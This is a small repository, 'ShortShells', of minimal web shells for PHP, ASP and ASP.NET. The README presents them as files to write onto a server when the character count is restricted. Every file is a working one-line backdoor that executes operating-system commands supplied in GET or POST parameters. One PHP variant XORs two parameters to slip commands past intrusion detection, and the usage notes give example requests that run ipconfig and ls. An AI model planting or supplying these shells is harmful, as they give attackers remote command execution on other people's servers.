├── README.md
├── ss-xor.php
├── ss.asp
├── ss.aspx
├── ss.php
├── ss_get.asp
└── ss_get.aspx


/README.md:
--------------------------------------------------------------------------------
1 | ShortShells
2 | ===========
3 | 
4 | Web shells for PHP/ASP/ASP.NET using the least number of characters
5 | 
6 | Useful if you are able to write to a file source code file, but are restricted on character limit.
7 | 


--------------------------------------------------------------------------------
/ss-xor.php:
--------------------------------------------------------------------------------
 1 | <?=exec($_GET[0]^$_GET[1]); 
 2 | 
 3 | // Simple Short shell for bypassing IDS, GET params 0 and 1 are XOR'd to build a string
 4 | 
 5 | // Code in backticks doesn't seem to work
 6 | 
 7 | // e.g. to execute 'ls' on the system you would pass query string
 8 | // /?0=aa&1=%0d%12
 9 | 
10 | 


--------------------------------------------------------------------------------
/ss.asp:
--------------------------------------------------------------------------------
 1 | <%execute Request.Form("a")%>
 2 | 
 3 | Send the following POST request in order to send your command
 4 | 
 5 | POST /ss.asp? HTTP/1.1
 6 | Host: 127.0.0.1
 7 | Content-type: application/x-www-form-urlencoded
 8 | Content-Length: 83
 9 | 
10 | a=Response.Write(CreateObject("WScript.Shell").exec("ipconfig").StdOut.ReadAll)
11 | 
12 | 


--------------------------------------------------------------------------------
/ss.aspx:
--------------------------------------------------------------------------------
1 | <%=CreateObject("WScript.Shell").exec(Request.Form("a").trim).StdOut.ReadAll%>
2 | 


--------------------------------------------------------------------------------
/ss.php:
--------------------------------------------------------------------------------
1 | <?=`$_GET[0]`;
2 | 


--------------------------------------------------------------------------------
/ss_get.asp:
--------------------------------------------------------------------------------
1 | <%execute Request.QueryString("a")%>
2 | 
3 | Send the following GET request in order to send your command
4 | 
5 | ss_get.asp?a=Response.Write(CreateObject("WScript.Shell").exec("ipconfig").StdOut.ReadAll)
6 | 


--------------------------------------------------------------------------------
/ss_get.aspx:
--------------------------------------------------------------------------------
1 | <%=CreateObject("WScript.Shell").exec(Request.Request.QueryString("a").trim).StdOut.ReadAll%>
2 | 


--------------------------------------------------------------------------------